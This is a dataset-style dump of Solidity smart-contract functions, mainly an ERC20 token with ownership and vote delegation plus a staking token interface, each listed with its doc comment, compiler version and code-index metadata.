require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
| /**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | MIT | ipfs://5916c16fd491e5742b312eda1430135673228645a84c53bb7066e4edfc7714a8 | {
"func_code_index": [
4578,
4899
]
} | 25,964 |
ERC20Token | ERC20Token.sol | 0xbf57d5d7748c9a2cd05112269bb3424f8a57b3c2 | Solidity | Ownable | contract Ownable is IOwnable {
address public override owner;
address public newOwner;
event OwnerUpdate(address indexed _prevOwner, address indexed _newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() public {
owne... | _onlyOwner | function _onlyOwner() internal view {
require(msg.sender == owner, "ERR_ACCESS_DENIED");
}
| /**
* @dev Throws if called by any account other than the owner.
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | MIT | ipfs://5916c16fd491e5742b312eda1430135673228645a84c53bb7066e4edfc7714a8 | {
"func_code_index": [
501,
610
]
} | 25,965 | ||
ERC20Token | ERC20Token.sol | 0xbf57d5d7748c9a2cd05112269bb3424f8a57b3c2 | Solidity | Ownable | contract Ownable is IOwnable {
address public override owner;
address public newOwner;
event OwnerUpdate(address indexed _prevOwner, address indexed _newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() public {
owne... | transferOwnership | function transferOwnership(address _newOwner) public override onlyOwner {
require(_newOwner != owner, "ERR_SAME_OWNER");
newOwner = _newOwner;
}
| /**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | MIT | ipfs://5916c16fd491e5742b312eda1430135673228645a84c53bb7066e4edfc7714a8 | {
"func_code_index": [
905,
1077
]
} | 25,966 | ||
ERC20Token | ERC20Token.sol | 0xbf57d5d7748c9a2cd05112269bb3424f8a57b3c2 | Solidity | Ownable | contract Ownable is IOwnable {
address public override owner;
address public newOwner;
event OwnerUpdate(address indexed _prevOwner, address indexed _newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() public {
owne... | forceTransferOwnership | function forceTransferOwnership(address _newOwner) public virtual onlyOwner {
emit OwnerUpdate(owner, _newOwner);
owner = _newOwner;
}
| /**
* @dev Force transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | MIT | ipfs://5916c16fd491e5742b312eda1430135673228645a84c53bb7066e4edfc7714a8 | {
"func_code_index": [
1233,
1395
]
} | 25,967 | ||
ERC20Token | ERC20Token.sol | 0xbf57d5d7748c9a2cd05112269bb3424f8a57b3c2 | Solidity | Ownable | contract Ownable is IOwnable {
address public override owner;
address public newOwner;
event OwnerUpdate(address indexed _prevOwner, address indexed _newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() public {
owne... | acceptOwnership | function acceptOwnership() override public {
require(msg.sender == newOwner, "ERR_ACCESS_DENIED");
emit OwnerUpdate(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
| /**
* @dev Accept ownership.
* Can only be called by the current owner.
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | MIT | ipfs://5916c16fd491e5742b312eda1430135673228645a84c53bb7066e4edfc7714a8 | {
"func_code_index": [
1496,
1718
]
} | 25,968 | ||
ERC20Token | ERC20Token.sol | 0xbf57d5d7748c9a2cd05112269bb3424f8a57b3c2 | Solidity | ERC20 | contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
/**
* @dev See {IERC20-totalSupply}.... | /**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our... | NatSpecMultiLine | totalSupply | function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
| /**
* @dev See {IERC20-totalSupply}.
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | MIT | ipfs://5916c16fd491e5742b312eda1430135673228645a84c53bb7066e4edfc7714a8 | {
"func_code_index": [
331,
436
]
} | 25,969 |
ERC20Token | ERC20Token.sol | 0xbf57d5d7748c9a2cd05112269bb3424f8a57b3c2 | Solidity | ERC20 | contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
/**
* @dev See {IERC20-totalSupply}.... | /**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our... | NatSpecMultiLine | balanceOf | function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
| /**
* @dev See {IERC20-balanceOf}.
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | MIT | ipfs://5916c16fd491e5742b312eda1430135673228645a84c53bb7066e4edfc7714a8 | {
"func_code_index": [
494,
618
]
} | 25,970 |
ERC20Token | ERC20Token.sol | 0xbf57d5d7748c9a2cd05112269bb3424f8a57b3c2 | Solidity | ERC20 | contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
/**
* @dev See {IERC20-totalSupply}.... | /**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our... | NatSpecMultiLine | transfer | function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
| /**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | MIT | ipfs://5916c16fd491e5742b312eda1430135673228645a84c53bb7066e4edfc7714a8 | {
"func_code_index": [
826,
1006
]
} | 25,971 |
ERC20Token | ERC20Token.sol | 0xbf57d5d7748c9a2cd05112269bb3424f8a57b3c2 | Solidity | ERC20 | contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
/**
* @dev See {IERC20-totalSupply}.... | /**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our... | NatSpecMultiLine | allowance | function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
| /**
* @dev See {IERC20-allowance}.
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | MIT | ipfs://5916c16fd491e5742b312eda1430135673228645a84c53bb7066e4edfc7714a8 | {
"func_code_index": [
1064,
1220
]
} | 25,972 |
ERC20Token | ERC20Token.sol | 0xbf57d5d7748c9a2cd05112269bb3424f8a57b3c2 | Solidity | ERC20 | contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
/**
* @dev See {IERC20-totalSupply}.... | /**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our... | NatSpecMultiLine | approve | function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
| /**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | MIT | ipfs://5916c16fd491e5742b312eda1430135673228645a84c53bb7066e4edfc7714a8 | {
"func_code_index": [
1362,
1536
]
} | 25,973 |
ERC20Token | ERC20Token.sol | 0xbf57d5d7748c9a2cd05112269bb3424f8a57b3c2 | Solidity | ERC20 | contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
/**
* @dev See {IERC20-totalSupply}.... | /**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our... | NatSpecMultiLine | transferFrom | function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
| /**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amou... | NatSpecMultiLine | v0.6.12+commit.27d51765 | MIT | ipfs://5916c16fd491e5742b312eda1430135673228645a84c53bb7066e4edfc7714a8 | {
"func_code_index": [
2005,
2331
]
} | 25,974 |
ERC20Token | ERC20Token.sol | 0xbf57d5d7748c9a2cd05112269bb3424f8a57b3c2 | Solidity | ERC20 | contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
/**
* @dev See {IERC20-totalSupply}.... | /**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our... | NatSpecMultiLine | increaseAllowance | function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
| /**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` c... | NatSpecMultiLine | v0.6.12+commit.27d51765 | MIT | ipfs://5916c16fd491e5742b312eda1430135673228645a84c53bb7066e4edfc7714a8 | {
"func_code_index": [
2735,
2958
]
} | 25,975 |
ERC20Token | ERC20Token.sol | 0xbf57d5d7748c9a2cd05112269bb3424f8a57b3c2 | Solidity | ERC20 | contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
/**
* @dev See {IERC20-totalSupply}.... | /**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our... | NatSpecMultiLine | decreaseAllowance | function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
| /**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` c... | NatSpecMultiLine | v0.6.12+commit.27d51765 | MIT | ipfs://5916c16fd491e5742b312eda1430135673228645a84c53bb7066e4edfc7714a8 | {
"func_code_index": [
3456,
3730
]
} | 25,976 |
ERC20Token | ERC20Token.sol | 0xbf57d5d7748c9a2cd05112269bb3424f8a57b3c2 | Solidity | ERC20 | contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
/**
* @dev See {IERC20-totalSupply}.... | /**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our... | NatSpecMultiLine | _transfer | function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sen... | /**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
*... | NatSpecMultiLine | v0.6.12+commit.27d51765 | MIT | ipfs://5916c16fd491e5742b312eda1430135673228645a84c53bb7066e4edfc7714a8 | {
"func_code_index": [
4215,
4759
]
} | 25,977 |
ERC20Token | ERC20Token.sol | 0xbf57d5d7748c9a2cd05112269bb3424f8a57b3c2 | Solidity | ERC20 | contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
/**
* @dev See {IERC20-totalSupply}.... | /**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our... | NatSpecMultiLine | _mint | function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfe... | /** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | MIT | ipfs://5916c16fd491e5742b312eda1430135673228645a84c53bb7066e4edfc7714a8 | {
"func_code_index": [
5035,
5418
]
} | 25,978 |
ERC20Token | ERC20Token.sol | 0xbf57d5d7748c9a2cd05112269bb3424f8a57b3c2 | Solidity | ERC20 | contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
/**
* @dev See {IERC20-totalSupply}.... | /**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our... | NatSpecMultiLine | _burn | function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _to... | /**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | MIT | ipfs://5916c16fd491e5742b312eda1430135673228645a84c53bb7066e4edfc7714a8 | {
"func_code_index": [
5745,
6168
]
} | 25,979 |
ERC20Token | ERC20Token.sol | 0xbf57d5d7748c9a2cd05112269bb3424f8a57b3c2 | Solidity | ERC20 | contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
/**
* @dev See {IERC20-totalSupply}.... | /**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our... | NatSpecMultiLine | _approve | function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amoun... | /**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero a... | NatSpecMultiLine | v0.6.12+commit.27d51765 | MIT | ipfs://5916c16fd491e5742b312eda1430135673228645a84c53bb7066e4edfc7714a8 | {
"func_code_index": [
6601,
6952
]
} | 25,980 |
ERC20Token | ERC20Token.sol | 0xbf57d5d7748c9a2cd05112269bb3424f8a57b3c2 | Solidity | ERC20 | contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
/**
* @dev See {IERC20-totalSupply}.... | /**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our... | NatSpecMultiLine | _beforeTokenTransfer | function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
| /**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* -... | NatSpecMultiLine | v0.6.12+commit.27d51765 | MIT | ipfs://5916c16fd491e5742b312eda1430135673228645a84c53bb7066e4edfc7714a8 | {
"func_code_index": [
7551,
7648
]
} | 25,981 |
ERC20Token | ERC20Token.sol | 0xbf57d5d7748c9a2cd05112269bb3424f8a57b3c2 | Solidity | ERC20Token | contract ERC20Token is ERC20, Ownable {
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setu... | // ERC20Token with Governance. | LineComment | name | function name() public view returns (string memory) {
return _name;
}
| /**
* @dev Returns the name of the token.
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | MIT | ipfs://5916c16fd491e5742b312eda1430135673228645a84c53bb7066e4edfc7714a8 | {
"func_code_index": [
691,
779
]
} | 25,982 |
ERC20Token | ERC20Token.sol | 0xbf57d5d7748c9a2cd05112269bb3424f8a57b3c2 | Solidity | ERC20Token | contract ERC20Token is ERC20, Ownable {
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setu... | // ERC20Token with Governance. | LineComment | symbol | function symbol() public view returns (string memory) {
return _symbol;
}
| /**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | MIT | ipfs://5916c16fd491e5742b312eda1430135673228645a84c53bb7066e4edfc7714a8 | {
"func_code_index": [
893,
985
]
} | 25,983 |
ERC20Token | ERC20Token.sol | 0xbf57d5d7748c9a2cd05112269bb3424f8a57b3c2 | Solidity | ERC20Token | contract ERC20Token is ERC20, Ownable {
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setu... | // ERC20Token with Governance. | LineComment | decimals | function decimals() public view returns (uint8) {
return _decimals;
}
| /**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is... | NatSpecMultiLine | v0.6.12+commit.27d51765 | MIT | ipfs://5916c16fd491e5742b312eda1430135673228645a84c53bb7066e4edfc7714a8 | {
"func_code_index": [
1618,
1706
]
} | 25,984 |
ERC20Token | ERC20Token.sol | 0xbf57d5d7748c9a2cd05112269bb3424f8a57b3c2 | Solidity | ERC20Token | contract ERC20Token is ERC20, Ownable {
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setu... | // ERC20Token with Governance. | LineComment | _setupDecimals | function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
| /**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | MIT | ipfs://5916c16fd491e5742b312eda1430135673228645a84c53bb7066e4edfc7714a8 | {
"func_code_index": [
2033,
2128
]
} | 25,985 |
ERC20Token | ERC20Token.sol | 0xbf57d5d7748c9a2cd05112269bb3424f8a57b3c2 | Solidity | ERC20Token | contract ERC20Token is ERC20, Ownable {
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setu... | // ERC20Token with Governance. | LineComment | mint | function mint(address _to, uint256 _amount) public onlyOwner {
_mint(_to, _amount);
_moveDelegates(address(0), _delegates[_to], _amount);
}
| /// @notice Mints `_amount` token to `_to`. Must only be called by the owner (SmartContract). | NatSpecSingleLine | v0.6.12+commit.27d51765 | MIT | ipfs://5916c16fd491e5742b312eda1430135673228645a84c53bb7066e4edfc7714a8 | {
"func_code_index": [
2230,
2397
]
} | 25,986 |
ERC20Token | ERC20Token.sol | 0xbf57d5d7748c9a2cd05112269bb3424f8a57b3c2 | Solidity | ERC20Token | contract ERC20Token is ERC20, Ownable {
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setu... | // ERC20Token with Governance. | LineComment | burn | function burn(address _from, uint256 _amount) public onlyOwner {
_burn(_from, _amount);
}
| /// @notice Burns `_amount` token from `_from`. Delegates reserved. Must only be called by the owner (SmartContract). | NatSpecSingleLine | v0.6.12+commit.27d51765 | MIT | ipfs://5916c16fd491e5742b312eda1430135673228645a84c53bb7066e4edfc7714a8 | {
"func_code_index": [
2523,
2631
]
} | 25,987 |
ERC20Token | ERC20Token.sol | 0xbf57d5d7748c9a2cd05112269bb3424f8a57b3c2 | Solidity | ERC20Token | contract ERC20Token is ERC20, Ownable {
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setu... | // ERC20Token with Governance. | LineComment | delegates | function delegates(address delegator)
external
view
returns (address)
{
return _delegates[delegator];
}
| /**
* @notice Delegate votes from `msg.sender` to `delegatee`
* @param delegator The address to get delegatee for
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | MIT | ipfs://5916c16fd491e5742b312eda1430135673228645a84c53bb7066e4edfc7714a8 | {
"func_code_index": [
4573,
4727
]
} | 25,988 |
ERC20Token | ERC20Token.sol | 0xbf57d5d7748c9a2cd05112269bb3424f8a57b3c2 | Solidity | ERC20Token | contract ERC20Token is ERC20, Ownable {
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setu... | // ERC20Token with Governance. | LineComment | delegate | function delegate(address delegatee) external {
return _delegate(msg.sender, delegatee);
}
| /**
* @notice Delegate votes from `msg.sender` to `delegatee`
* @param delegatee The address to delegate votes to
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | MIT | ipfs://5916c16fd491e5742b312eda1430135673228645a84c53bb7066e4edfc7714a8 | {
"func_code_index": [
4866,
4975
]
} | 25,989 |
ERC20Token | ERC20Token.sol | 0xbf57d5d7748c9a2cd05112269bb3424f8a57b3c2 | Solidity | ERC20Token | contract ERC20Token is ERC20, Ownable {
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setu... | // ERC20Token with Governance. | LineComment | delegateBySig | function delegateBySig(
address delegatee,
uint nonce,
uint expiry,
uint8 v,
bytes32 r,
bytes32 s
)
external
{
bytes32 domainSeparator = keccak256(
abi.encode(
DOMAIN_TYPEHASH,
keccak256(bytes(name())),
getChainId(),
... | /**
* @notice Delegates votes from signatory to `delegatee`
* @param delegatee The address to delegate votes to
* @param nonce The contract state required to match the signature
* @param expiry The time at which to expire the signature
* @param v The recovery byte of the signature
* @param r Half of the ECD... | NatSpecMultiLine | v0.6.12+commit.27d51765 | MIT | ipfs://5916c16fd491e5742b312eda1430135673228645a84c53bb7066e4edfc7714a8 | {
"func_code_index": [
5404,
6590
]
} | 25,990 |
ERC20Token | ERC20Token.sol | 0xbf57d5d7748c9a2cd05112269bb3424f8a57b3c2 | Solidity | ERC20Token | contract ERC20Token is ERC20, Ownable {
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setu... | // ERC20Token with Governance. | LineComment | getCurrentVotes | function getCurrentVotes(address account)
external
view
returns (uint256)
{
uint32 nCheckpoints = numCheckpoints[account];
return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0;
}
| /**
* @notice Gets the current votes balance for `account`
* @param account The address to get votes balance
* @return The number of current votes for `account`
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | MIT | ipfs://5916c16fd491e5742b312eda1430135673228645a84c53bb7066e4edfc7714a8 | {
"func_code_index": [
6786,
7046
]
} | 25,991 |
ERC20Token | ERC20Token.sol | 0xbf57d5d7748c9a2cd05112269bb3424f8a57b3c2 | Solidity | ERC20Token | contract ERC20Token is ERC20, Ownable {
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setu... | // ERC20Token with Governance. | LineComment | getPriorVotes | function getPriorVotes(address account, uint blockNumber)
external
view
returns (uint256)
{
require(blockNumber < block.number, "ERC20::getPriorVotes: not yet determined");
uint32 nCheckpoints = numCheckpoints[account];
if (nCheckpoints == 0) {
return 0;
}
// First ... | /**
* @notice Determine the prior number of votes for an account as of a block number
* @dev Block number must be a finalized block or else this function will revert to prevent misinformation.
* @param account The address of the account to check
* @param blockNumber The block number to get the vote balance at
... | NatSpecMultiLine | v0.6.12+commit.27d51765 | MIT | ipfs://5916c16fd491e5742b312eda1430135673228645a84c53bb7066e4edfc7714a8 | {
"func_code_index": [
7472,
8731
]
} | 25,992 |
staking | contracts/staking.sol | 0x904943e97a51a8260fd71187bc9d2c69feb8547f | Solidity | SkyToken | interface SkyToken {
function extMint(address _addr, uint256 _amount) external returns (bool);
function isWhitelistedReceiver(address _addr) external view returns (bool);
function isWhitelistedMinter(address _addr) external view returns (bool);
/**
* @dev Returns the amount of tokens in ... | totalSupply | function totalSupply() external view returns (uint256);
| /**
* @dev Returns the amount of tokens in existence.
*/ | NatSpecMultiLine | v0.8.3+commit.8d00100c | {
"func_code_index": [
341,
401
]
} | 25,993 | ||||
staking | contracts/staking.sol | 0x904943e97a51a8260fd71187bc9d2c69feb8547f | Solidity | SkyToken | interface SkyToken {
function extMint(address _addr, uint256 _amount) external returns (bool);
function isWhitelistedReceiver(address _addr) external view returns (bool);
function isWhitelistedMinter(address _addr) external view returns (bool);
/**
* @dev Returns the amount of tokens in ... | balanceOf | function balanceOf(address account) external view returns (uint256);
| /**
* @dev Returns the amount of tokens owned by `account`.
*/ | NatSpecMultiLine | v0.8.3+commit.8d00100c | {
"func_code_index": [
484,
557
]
} | 25,994 | ||||
staking | contracts/staking.sol | 0x904943e97a51a8260fd71187bc9d2c69feb8547f | Solidity | SkyToken | interface SkyToken {
function extMint(address _addr, uint256 _amount) external returns (bool);
function isWhitelistedReceiver(address _addr) external view returns (bool);
function isWhitelistedMinter(address _addr) external view returns (bool);
/**
* @dev Returns the amount of tokens in ... | transfer | function transfer(address recipient, uint256 amount)
external
returns (bool);
| /**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/ | NatSpecMultiLine | v0.8.3+commit.8d00100c | {
"func_code_index": [
781,
881
]
} | 25,995 | ||||
staking | contracts/staking.sol | 0x904943e97a51a8260fd71187bc9d2c69feb8547f | Solidity | SkyToken | interface SkyToken {
function extMint(address _addr, uint256 _amount) external returns (bool);
function isWhitelistedReceiver(address _addr) external view returns (bool);
function isWhitelistedMinter(address _addr) external view returns (bool);
/**
* @dev Returns the amount of tokens in ... | allowance | function allowance(address owner, address spender)
external
view
returns (uint256);
| /**
